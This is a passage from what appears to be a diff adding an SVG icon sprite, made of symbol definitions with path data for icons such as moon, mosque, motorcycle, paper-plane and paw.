12.8h-70.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h70.4c6.4 0 12.8 6.4 12.8 12.8v38.4z"></path> + </symbol> + <symbol id="moon" viewBox="0 0 512 512"> + <path d="M283.211 512c78.962 0 151.079-35.925 198.857-94.792 7.068-8.708-.639-21.43-11.562-19.35-124.203 23.654-238.262-71.576-238.262-196.954 0-72.222 38.662-138.635 101.498-174.394 9.686-5.512 7.25-20.197-3.756-22.23A258.156 258.156 0 0 0 283.211 0c-141.309 0-256 114.511-256 256 0 141.309 114.511 256 256 256z"></path> + </symbol> + <symbol id="mortar-pestle" viewBox="0 0 512 512"> + <path d="M501.54 60.91c17.22-17.22 12.51-46.25-9.27-57.14a35.696 35.696 0 0 0-37.37 3.37L251.09 160h151.37l99.08-99.09zM496 192H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c0 80.98 50.2 150.11 121.13 178.32-12.76 16.87-21.72 36.8-24.95 58.69-1.46 9.92 6.04 18.98 16.07 18.98h223.5c10.03 0 17.53-9.06 16.07-18.98-3.22-21.89-12.18-41.82-24.95-58.69C429.8 406.11 480 336.98 480 256h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="mosque" viewBox="0 0 640 512"> + <path d="M0 480c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V160H0v320zm579.16-192c17.86-17.39 28.84-37.34 28.84-58.91 0-52.86-41.79-93.79-87.92-122.9-41.94-26.47-80.63-57.77-111.96-96.22L400 0l-8.12 9.97c-31.33 38.45-70.01 69.76-111.96 96.22C233.79 135.3 192 176.23 192 229.09c0 21.57 10.98 41.52 28.84 58.91h358.32zM608 320H192c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h32v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h64v-72c0-48 48-72 48-72s48 24 48 72v72h64v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h32c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM64 0S0 32 0 96v32h128V96c0-64-64-96-64-96z"></path> + </symbol> + <symbol id="motorcycle" viewBox="0 0 640 512"> + <path d="M512.9 192c-14.9-.1-29.1 2.3-42.4 6.9L437.6 144H520c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24h-45.3c-6.8 0-13.3 2.9-17.8 7.9l-37.5 41.7-22.8-38C392.2 68.4 384.4 64 376 64h-80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h66.4l19.2 32H227.9c-17.7-23.1-44.9-40-99.9-40H72.5C59 104 47.7 115 48 128.5c.2 13 10.9 23.5 24 23.5h56c24.5 0 38.7 10.9 47.8 24.8l-11.3 20.5c-13-3.9-26.9-5.7-41.3-5.2C55.9 194.5 1.6 249.6 0 317c-1.6 72.1 56.3 131 128 131 59.6 0 109.7-40.8 124-96h84.2c13.7 0 24.6-11.4 24-25.1-2.1-47.1 17.5-93.7 56.2-125l12.5 20.8c-27.6 23.7-45.1 58.9-44.8 98.2.5 69.6 57.2 126.5 126.8 127.1 71.6.7 129.8-57.5 129.2-129.1-.7-69.6-57.6-126.4-127.2-126.9zM128 400c-44.1 0-80-35.9-80-80s35.9-80 80-80c4.2 0 8.4.3 12.5 1L99 316.4c-8.8 16 2.8 35.6 21 35.6h81.3c-12.4 28.2-40.6 48-73.3 48zm463.9-75.6c-2.2 40.6-35 73.4-75.5 75.5-46.1 2.5-84.4-34.3-84.4-79.9 0-21.4 8.4-40.8 22.1-55.1l49.4 82.4c4.5 7.6 14.4 10 22 5.5l13.7-8.2c7.6-4.5 10-14.4 5.5-22l-48.6-80.9c5.2-1.1 10.5-1.6 15.9-1.6 45.6-.1 82.3 38.2 79.9 84.3z"></path> + </symbol> + <symbol id="mountain" viewBox="0 0 640 512"> + <path d="M634.92 462.7l-288-448C341.03 5.54 330.89 0 320 0s-21.03 5.54-26.92 14.7l-288 448a32.001 32.001 0 0 0-1.17 32.64A32.004 32.004 0 0 0 32 512h576c11.71 0 22.48-6.39 28.09-16.67a31.983 31.983 0 0 0-1.17-32.63zM320 91.18L405.39 224H320l-64 64-38.06-38.06L320 91.18z"></path> + </symbol> + <symbol id="mouse" viewBox="0 0 384 512"> + <path d="M0 352a160 160 0 0 0 160 160h64a160 160 0 0 0 160-160V224H0zM176 0h-16A160 160 0 0 0 0 160v32h176zm48 0h-16v192h176v-32A160 160 0 0 0 224 0z"></path> + </symbol> + <symbol id="mouse-pointer" viewBox="0 0 320 512"> + <path d="M302.189 329.126H196.105l55.831 135.993c3.889 9.428-.555 19.999-9.444 23.999l-49.165 21.427c-9.165 4-19.443-.571-23.332-9.714l-53.053-129.136-86.664 89.138C18.729 472.71 0 463.554 0 447.977V18.299C0 1.899 19.921-6.096 30.277 5.443l284.412 292.542c11.472 11.179 3.007 31.141-12.5 31.141z"></path> + </symbol> + <symbol id="mug-hot" viewBox="0 0 512 512"> + <path d="M127.1 146.5c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C111.8 5.9 105 0 96.8 0H80.4C70.6 0 63 8.5 64.1 18c3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zm112 0c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C223.8 5.9 217 0 208.8 0h-16.4c-9.8 0-17.5 8.5-16.3 18 3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zM400 192H32c-17.7 0-32 14.3-32 32v192c0 53 43 96 96 96h192c53 0 96-43 96-96h16c61.8 0 112-50.2 112-112s-50.2-112-112-112zm0 160h-16v-96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48z"></path> + </symbol> + <symbol id="music" viewBox="0 0 512 512"> + <path d="M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z"></path> + </symbol> + <symbol id="network-wired" viewBox="0 0 640 512"> + <path d="M640 264v-16c0-8.84-7.16-16-16-16H344v-40h72c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H224c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h72v40H16c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h104v40H64c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h304v40h-56c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h104c8.84 0 16-7.16 16-16zM256 128V64h128v64H256zm-64 320H96v-64h96v64zm352 0h-96v-64h96v64z"></path> + </symbol> + <symbol id="neuter" viewBox="0 0 288 512"> + <path d="M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V468c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V316.4c64.1-14.5 112-71.9 112-140.4zm-144 80c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"></path> + </symbol> + <symbol id="newspaper" viewBox="0 0 576 512"> + <path d="M552 64H88c-13.255 0-24 10.745-24 24v8H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h472c26.51 0 48-21.49 48-48V88c0-13.255-10.745-24-24-24zM56 400a8 8 0 0 1-8-8V144h16v248a8 8 0 0 1-8 8zm236-16H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm-208-96H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm0-96H140c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h360c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12z"></path> + </symbol> + <symbol id="not-equal" viewBox="0 0 448 512"> + <path d="M416 208c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32h-23.88l51.87-66.81c5.37-7.02 4.04-17.06-2.97-22.43L415.61 3.3c-7.02-5.38-17.06-4.04-22.44 2.97L311.09 112H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h204.56l-74.53 96H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h55.49l-51.87 66.81c-5.37 7.01-4.04 17.05 2.97 22.43L64 508.7c7.02 5.38 17.06 4.04 22.43-2.97L168.52 400H416c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32H243.05l74.53-96H416z"></path> + </symbol> + <symbol id="notes-medical" viewBox="0 0 384 512"> + <path d="M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm96 304c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm0-192c0 4.4-3.6 8-8 8H104c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16z"></path> + </symbol> + <symbol id="object-group" viewBox="0 0 512 512"> + <path d="M480 128V96h20c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v20H64V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v40c0 6.627 5.373 12 12 12h20v320H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-20h384v20c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-20V128zM96 276V140c0-6.627 5.373-12 12-12h168c6.627 0 12 5.373 12 12v136c0 6.627-5.373 12-12 12H108c-6.627 0-12-5.373-12-12zm320 96c0 6.627-5.373 12-12 12H236c-6.627 0-12-5.373-12-12v-52h72c13.255 0 24-10.745 24-24v-72h84c6.627 0 12 5.373 12 12v136z"></path> + </symbol> + <symbol id="object-ungroup" viewBox="0 0 576 512"> + <path d="M64 320v26a6 6 0 0 1-6 6H6a6 6 0 0 1-6-6v-52a6 6 0 0 1 6-6h26V96H6a6 6 0 0 1-6-6V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v26h288V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-26v192h26a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-52a6 6 0 0 1-6-6v-26H64zm480-64v-32h26a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-52a6 6 0 0 0-6 6v26H408v72h8c13.255 0 24 10.745 24 24v64c0 13.255-10.745 24-24 24h-64c-13.255 0-24-10.745-24-24v-8H192v72h-26a6 6 0 0 0-6 6v52a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-26h288v26a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-26V256z"></path> + </symbol> + <symbol id="oil-can" viewBox="0 0 640 512"> + <path d="M629.8 160.31L416 224l-50.49-25.24a64.07 64.07 0 0 0-28.62-6.76H280v-48h56c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h56v48h-56L37.72 166.86a31.9 31.9 0 0 0-5.79-.53C14.67 166.33 0 180.36 0 198.34v94.95c0 15.46 11.06 28.72 26.28 31.48L96 337.46V384c0 17.67 14.33 32 32 32h274.63c8.55 0 16.75-3.42 22.76-9.51l212.26-214.75c1.5-1.5 2.34-3.54 2.34-5.66V168c.01-5.31-5.08-9.15-10.19-7.69zM96 288.67l-48-8.73v-62.43l48 8.73v62.43zm453.33 84.66c0 23.56 19.1 42.67 42.67 42.67s42.67-19.1 42.67-42.67S592 288 592 288s-42.67 61.77-42.67 85.33z"></path> + </symbol> + <symbol id="om" viewBox="0 0 512 512"> + <path d="M360.6 60.94a10.43 10.43 0 0 0 14.76 0l21.57-21.56a10.43 10.43 0 0 0 0-14.76L375.35 3.06c-4.08-4.07-10.68-4.07-14.76 0l-21.57 21.56a10.43 10.43 0 0 0 0 14.76l21.58 21.56zM412.11 192c-26.69 0-51.77 10.39-70.64 29.25l-24.25 24.25c-6.78 6.77-15.78 10.5-25.38 10.5H245c10.54-22.1 14.17-48.11 7.73-75.23-10.1-42.55-46.36-76.11-89.52-83.19-36.15-5.93-70.9 5.04-96.01 28.78-7.36 6.96-6.97 18.85 1.12 24.93l26.15 19.63c5.72 4.3 13.66 4.32 19.2-.21 8.45-6.9 19.02-10.71 30.27-10.71 26.47 0 48.01 21.53 48.01 48s-21.54 48-48.01 48h-31.9c-11.96 0-19.74 12.58-14.39 23.28l16.09 32.17c2.53 5.06 7.6 8.1 13.17 8.55h33.03c35.3 0 64.01 28.7 64.01 64s-28.71 64-64.01 64c-96.02 0-122.35-54.02-145.15-92.03-4.53-7.55-14.77-3.58-14.79 5.22C-.09 416 41.13 512 159.94 512c70.59 0 128.02-57.42 128.02-128 0-23.42-6.78-45.1-17.81-64h21.69c26.69 0 51.77-10.39 70.64-29.25l24.25-24.25c6.78-6.77 15.78-10.5 25.38-10.5 19.78 0 35.88 16.09 35.88 35.88V392c0 13.23-18.77 24-32.01 24-39.4 0-66.67-24.24-81.82-42.89-4.77-5.87-14.2-2.54-14.2 5.02V416s0 64 96.02 64c48.54 0 96.02-39.47 96.02-88V291.88c0-55.08-44.8-99.88-99.89-99.88zm42.18-124.73c-85.55 65.12-169.05 2.75-172.58.05-6.02-4.62-14.44-4.38-20.14.55-5.74 4.92-7.27 13.17-3.66 19.8 1.61 2.95 40.37 72.34 118.8 72.34 79.92 0 98.78-31.36 101.75-37.66 1.02-2.12 1.53-4.47 1.53-6.83V80c0-13.22-15.14-20.69-25.7-12.73z"></path> + </symbol> + <symbol id="otter" viewBox="0 0 640 512"> + <path d="M608 32h-32l-13.25-13.25A63.97 63.97 0 0 0 517.49 0H497c-11.14 0-22.08 2.91-31.75 8.43L312 96h-56C149.96 96 64 181.96 64 288v1.61c0 32.75-16 62.14-39.56 84.89-18.19 17.58-28.1 43.68-23.19 71.8 6.76 38.8 42.9 65.7 82.28 65.7H192c17.67 0 32-14.33 32-32s-14.33-32-32-32H80c-8.83 0-16-7.17-16-16s7.17-16 16-16h224c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-64l149.49-80.5L448 416h80c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-28.22l-55.11-110.21L521.14 192H544c53.02 0 96-42.98 96-96V64c0-17.67-14.33-32-32-32zm-96 16c8.84 0 16 7.16 16 16s-7.16 16-16 16-16-7.16-16-16 7.16-16 16-16zm32 96h-34.96L407.2 198.84l-13.77-27.55L512 112h77.05c-6.62 18.58-24.22 32-45.05 32z"></path> + </symbol> + <symbol id="outdent" viewBox="0 0 448 512"> + <path d="M100.69 363.29c10 10 27.31 2.93 27.31-11.31V160c0-14.32-17.33-21.31-27.31-11.31l-96 96a16 16 0 0 0 0 22.62zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="pager" viewBox="0 0 512 512"> + <path d="M448 64H64a64 64 0 0 0-64 64v256a64 64 0 0 0 64 64h384a64 64 0 0 0 64-64V128a64 64 0 0 0-64-64zM160 368H80a16 16 0 0 1-16-16v-16a16 16 0 0 1 16-16h80zm128-16a16 16 0 0 1-16 16h-80v-48h80a16 16 0 0 1 16 16zm160-128a32 32 0 0 1-32 32H96a32 32 0 0 1-32-32v-64a32 32 0 0 1 32-32h320a32 32 0 0 1 32 32z"></path> + </symbol> + <symbol id="paint-brush" viewBox="0 0 512 512"> + <path d="M167.02 309.34c-40.12 2.58-76.53 17.86-97.19 72.3-2.35 6.21-8 9.98-14.59 9.98-11.11 0-45.46-27.67-55.25-34.35C0 439.62 37.93 512 128 512c75.86 0 128-43.77 128-120.19 0-3.11-.65-6.08-.97-9.13l-88.01-73.34zM457.89 0c-15.16 0-29.37 6.71-40.21 16.45C213.27 199.05 192 203.34 192 257.09c0 13.7 3.25 26.76 8.73 38.7l63.82 53.18c7.21 1.8 14.64 3.03 22.39 3.03 62.11 0 98.11-45.47 211.16-256.46 7.38-14.35 13.9-29.85 13.9-45.99C512 20.64 486 0 457.89 0z"></path> + </symbol> + <symbol id="paint-roller" viewBox="0 0 512 512"> + <path d="M416 128V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32zm32-64v128c0 17.67-14.33 32-32 32H256c-35.35 0-64 28.65-64 64v32c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32v-32h160c53.02 0 96-42.98 96-96v-64c0-35.35-28.65-64-64-64z"></path> + </symbol> + <symbol id="palette" viewBox="0 0 512 512"> + <path d="M204.3 5C104.9 24.4 24.8 104.3 5.2 203.4c-37 187 131.7 326.4 258.8 306.7 41.2-6.4 61.4-54.6 42.5-91.7-23.1-45.4 9.9-98.4 60.9-98.4h79.7c35.8 0 64.8-29.6 64.9-65.3C511.5 97.1 368.1-26.9 204.3 5zM96 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm32-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128-64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="pallet" viewBox="0 0 640 512"> + <path d="M144 256h352c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H384v128l-64-32-64 32V0H144c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16zm480 128c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v64H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16h-48v-64h48zm-336 64H128v-64h160v64zm224 0H352v-64h160v64z"></path> + </symbol> + <symbol id="paper-plane" viewBox="0 0 512 512"> + <path d="M476 3.2L12.5 270.6c-18.1 10.4-15.8 35.6 2.2 43.2L121 358.4l287.3-253.2c5.5-4.9 13.3 2.6 8.6 8.3L176 407v80.5c0 23.6 28.5 32.9 42.5 15.8L282 426l124.6 52.2c14.2 6 30.4-2.9 33-18.2l72-432C515 7.8 493.3-6.8 476 3.2z"></path> + </symbol> + <symbol id="paperclip" viewBox="0 0 448 512"> + <path d="M43.246 466.142c-58.43-60.289-57.341-157.511 1.386-217.581L254.392 34c44.316-45.332 116.351-45.336 160.671 0 43.89 44.894 43.943 117.329 0 162.276L232.214 383.128c-29.855 30.537-78.633 30.111-107.982-.998-28.275-29.97-27.368-77.473 1.452-106.953l143.743-146.835c6.182-6.314 16.312-6.422 22.626-.241l22.861 22.379c6.315 6.182 6.422 16.312.241 22.626L171.427 319.927c-4.932 5.045-5.236 13.428-.648 18.292 4.372 4.634 11.245 4.711 15.688.165l182.849-186.851c19.613-20.062 19.613-52.725-.011-72.798-19.189-19.627-49.957-19.637-69.154 0L90.39 293.295c-34.763 35.56-35.299 93.12-1.191 128.313 34.01 35.093 88.985 35.137 123.058.286l172.06-175.999c6.177-6.319 16.307-6.433 22.626-.256l22.877 22.364c6.319 6.177 6.434 16.307.256 22.626l-172.06 175.998c-59.576 60.938-155.943 60.216-214.77-.485z"></path> + </symbol> + <symbol id="parachute-box" viewBox="0 0 512 512"> + <path d="M511.9 175c-9.1-75.6-78.4-132.4-158.3-158.7C390 55.7 416 116.9 416 192h28.1L327.5 321.5c-2.5-.6-4.8-1.5-7.5-1.5h-48V192h112C384 76.8 315.1 0 256 0S128 76.8 128 192h112v128h-48c-2.7 0-5 .9-7.5 1.5L67.9 192H96c0-75.1 26-136.3 62.4-175.7C78.5 42.7 9.2 99.5.1 175c-1.1 9.1 6.8 17 16 17h8.7l136.7 151.9c-.7 2.6-1.6 5.2-1.6 8.1v128c0 17.7 14.3 32 32 32h128c17.7 0 32-14.3 32-32V352c0-2.9-.9-5.4-1.6-8.1L487.1 192h8.7c9.3 0 17.2-7.8 16.1-17z"></path> + </symbol> + <symbol id="paragraph" viewBox="0 0 448 512"> + <path d="M448 48v32a16 16 0 0 1-16 16h-48v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V96h-32v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V352h-32a160 160 0 0 1 0-320h240a16 16 0 0 1 16 16z"></path> + </symbol> + <symbol id="parking" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM240 320h-48v48c0 8.8-7.2 16-16 16h-32c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h96c52.9 0 96 43.1 96 96s-43.1 96-96 96zm0-128h-48v64h48c17.6 0 32-14.4 32-32s-14.4-32-32-32z"></path> + </symbol> + <symbol id="passport" viewBox="0 0 448 512"> + <path d="M129.62 176h39.09c1.49-27.03 6.54-51.35 14.21-70.41-27.71 13.24-48.02 39.19-53.3 70.41zm0 32c5.29 31.22 25.59 57.17 53.3 70.41-7.68-19.06-12.72-43.38-14.21-70.41h-39.09zM224 286.69c7.69-7.45 20.77-34.42 23.43-78.69h-46.87c2.67 44.26 15.75 71.24 23.44 78.69zM200.57 176h46.87c-2.66-44.26-15.74-71.24-23.43-78.69-7.7 7.45-20.78 34.43-23.44 78.69zm64.51 102.41c27.71-13.24 48.02-39.19 53.3-70.41h-39.09c-1.49 27.03-6.53 51.35-14.21 70.41zM416 0H64C28.65 0 0 28.65 0 64v384c0 35.35 28.65 64 64 64h352c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32zm-80 416H112c-8.8 0-16-7.2-16-16s7.2-16 16-16h224c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-112-96c-70.69 0-128-57.31-128-128S153.31 64 224 64s128 57.31 128 128-57.31 128-128 128zm41.08-214.41c7.68 19.06 12.72 43.38 14.21 70.41h39.09c-5.28-31.22-25.59-57.17-53.3-70.41z"></path> + </symbol> + <symbol id="pastafarianism" viewBox="0 0 640 512"> + <path d="M624.54 347.67c-32.7-12.52-57.36 4.25-75.37 16.45-17.06 11.53-23.25 14.42-31.41 11.36-8.12-3.09-10.83-9.38-15.89-29.38-3.33-13.15-7.44-29.32-17.95-42.65 2.24-2.91 4.43-5.79 6.38-8.57C500.47 304.45 513.71 312 532 312c33.95 0 50.87-25.78 62.06-42.83 10.59-16.14 15-21.17 21.94-21.17 13.25 0 24-10.75 24-24s-10.75-24-24-24c-33.95 0-50.87 25.78-62.06 42.83-10.6 16.14-15 21.17-21.94 21.17-17.31 0-37.48-61.43-97.26-101.91l17.25-34.5C485.43 125.5 512 97.98 512 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 13.02 3.94 25.1 10.62 35.21l-18.15 36.3c-16.98-4.6-35.6-7.51-56.46-7.51s-39.49 2.91-56.46 7.51l-18.15-36.3C252.06 89.1 256 77.02 256 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 33.98 26.56 61.5 60.02 63.6l17.25 34.5C145.68 202.44 125.15 264 108 264c-6.94 0-11.34-5.03-21.94-21.17C74.88 225.78 57.96 200 24 200c-13.25 0-24 10.75-24 24s10.75 24 24 24c6.94 0 11.34 5.03 21.94 21.17C57.13 286.22 74.05 312 108 312c18.29 0 31.53-7.55 41.7-17.11 1.95 2.79 4.14 5.66 6.38 8.57-10.51 13.33-14.62 29.5-17.95 42.65-5.06 20-7.77 26.28-15.89 29.38-8.11 3.06-14.33.17-31.41-11.36-18.03-12.2-42.72-28.92-75.37-16.45-12.39 4.72-18.59 18.58-13.87 30.97 4.72 12.41 18.61 18.61 30.97 13.88 8.16-3.09 14.34-.19 31.39 11.36 13.55 9.16 30.83 20.86 52.42 20.84 7.17 0 14.83-1.28 22.97-4.39 32.66-12.44 39.98-41.33 45.33-62.44 2.21-8.72 3.99-14.49 5.95-18.87 16.62 13.61 36.95 25.88 61.64 34.17-9.96 37-32.18 90.8-60.26 90.8-13.25 0-24 10.75-24 24s10.75 24 24 24c66.74 0 97.05-88.63 107.42-129.14 6.69.6 13.42 1.14 20.58 1.14s13.89-.54 20.58-1.14C350.95 423.37 381.26 512 448 512c13.25 0 24-10.75 24-24s-10.75-24-24-24c-27.94 0-50.21-53.81-60.22-90.81 24.69-8.29 45-20.56 61.62-34.16 1.96 4.38 3.74 10.15 5.95 18.87 5.34 21.11 12.67 50 45.33 62.44 8.14 3.11 15.8 4.39 22.97 4.39 21.59 0 38.87-11.69 52.42-20.84 17.05-11.55 23.28-14.45 31.39-11.36 12.39 4.75 26.27-1.47 30.97-13.88 4.71-12.4-1.49-26.26-13.89-30.98zM448 48c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zm-256 0c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16z"></path> + </symbol> + <symbol id="paste" viewBox="0 0 448 512"> + <path d="M128 184c0-30.879 25.122-56 56-56h136V56c0-13.255-10.745-24-24-24h-80.61C204.306 12.89 183.637 0 160 0s-44.306 12.89-55.39 32H24C10.745 32 0 42.745 0 56v336c0 13.255 10.745 24 24 24h104V184zm32-144c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24zm184 248h104v200c0 13.255-10.745 24-24 24H184c-13.255 0-24-10.745-24-24V184c0-13.255 10.745-24 24-24h136v104c0 13.2 10.8 24 24 24zm104-38.059V256h-96v-96h6.059a24 24 0 0 1 16.97 7.029l65.941 65.941a24.002 24.002 0 0 1 7.03 16.971z"></path> + </symbol> + <symbol id="pause" viewBox="0 0 448 512"> + <path d="M144 479H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zm304-48V79c0-26.5-21.5-48-48-48h-96c-26.5 0-48 21.5-48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48z"></path> + </symbol> + <symbol id="pause-circle" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-16 328c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160zm112 0c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160z"></path> + </symbol> + <symbol id="paw" viewBox="0 0 512 512"> + <path d="M256 224c-79.41 0-192 122.76-192 200.25 0 34.9 26.81 55.75 71.74 55.75 48.84 0 81.09-25.08 120.26-25.08 39.51 0 71.85 25.08 120.26 25.08 44.93 0 71.74-20.85 71.74-55.75C448 346.76 335.41 224 256 224zm-147.28-12.61c-10.4-34.65-42.44-57.09-71.56-50.13-29.12 6.96-44.29 40.69-33.89 75.34 10.4 34.65 42.44 57.09 71.56 50.13 29.12-6.96 44.29-40.69 33.89-75.34zm84.72-20.78c30.94-8.14 46.42-49.94 34.58-93.36s-46.52-72.01-77.46-63.87-46.42 49.94-34.58 93.36c11.84 43.42 46.53 72.02 77.46 63.87zm281.39-29.34c-29.12-6.96-61.15 15.48-71.56 50.13-10.4 34.65 4.77 68.38 33.89 75.34 29.12 6.96 61.15-15.48 71.56-50.13 